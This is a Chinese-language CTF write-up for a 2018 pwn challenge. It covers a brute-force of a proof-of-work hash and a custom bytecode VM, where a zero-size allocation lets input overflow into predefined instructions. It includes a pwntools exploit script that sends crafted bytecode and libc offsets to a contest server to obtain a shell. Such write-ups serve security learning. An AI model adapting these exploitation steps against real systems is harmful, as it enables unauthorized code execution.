-
-
[原创]CTF2018第六题writeup
-
2018-6-28 11:47
3223
-
1.爆力破解
通过/dev/urandom获取随机数,再对随机数进行hash计算.直接爆破解决.
def explode_hash(hash):
for i in range(0x2B-1, 0x5B):
for j in range(0x2B-1, 0x5B):
for k in range(0x2B-1, 0x5B):
for l in range(0x2B-1, 0x5B):
a = i | j<<8 | k<<16 | l <<24
a = (0x343FD*a+0x269EC3)&0xFFFFFFFF
b = (a) | (((0x343FD*a+0x269EC3)&0xFFFFFFFF)<<32)
c = 0
d = b
for m in range(0,8):
c = c*0x83 + (d&0xFF)
c = c&0xFFFFFFFF
d = d >> 8
if c == hash:
return hex(b)
唯一的问题是alarm(0x3C)有个时间限制,在虚拟机机里跑,一直会超时,不太友好.
2.图灵完备vm
作者实现了一套图灵完备的解析器,可以实现栈上任意写与任意执行的功能.解析器总共有23个指令,预定义指令用于执行 Malloc功能.
Malloc功能可以获取0x80字节的数据,但是输入的size如果为0,就可以写入任意大小的数据,而预定义指令正好在输入缓冲区的0x80之后.
所以可以覆盖预定义指令,执行我们自己的指令.那么问题就很简章了,只需要理解字节码.
这里只说明对shellcode有用的字节码,
0x01 XX:取值XX
0x13:取栈上数据
0x05:相减
0x06:相加
0x04:取输入数据
0x14:保存数据至栈
0x16:执行
from pwn import *
context.log_level = 'debug'
p=remote('139.199.99.130', 8989)
p.recvuntil('Hash:')
hash = int(p.recvline(), 16)
#虚拟机爆破太慢,只能物理机爆破,然后手动填值.lol....
key = p64(int(raw_input()[0:-1],16))
p.sendline(key)
p.sendline('1')
p.sendline('0')
shellcode = '\x01\x0D\x13'+'\x01\x20\x04'+'\x05'+'\x01\x08\x14'+ \
'\x01\x0D\x13'+'\x01\x28\x04'+'\x06'+'\x01\x09\x14'+\
'\x01\x0D\x13'+'\x01\x30\x04'+'\x05'+'\x16'
payload = 'A'*0x80+shellcode+(0x20-len(shellcode))*'B'+p64(0xF72C0-0x45390)+p64(0x18CD57-0xF72C0)+p64(0xF72C0-0x21102)
p.sendline(payload)
p.recv()
p.sendline('1')
p.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界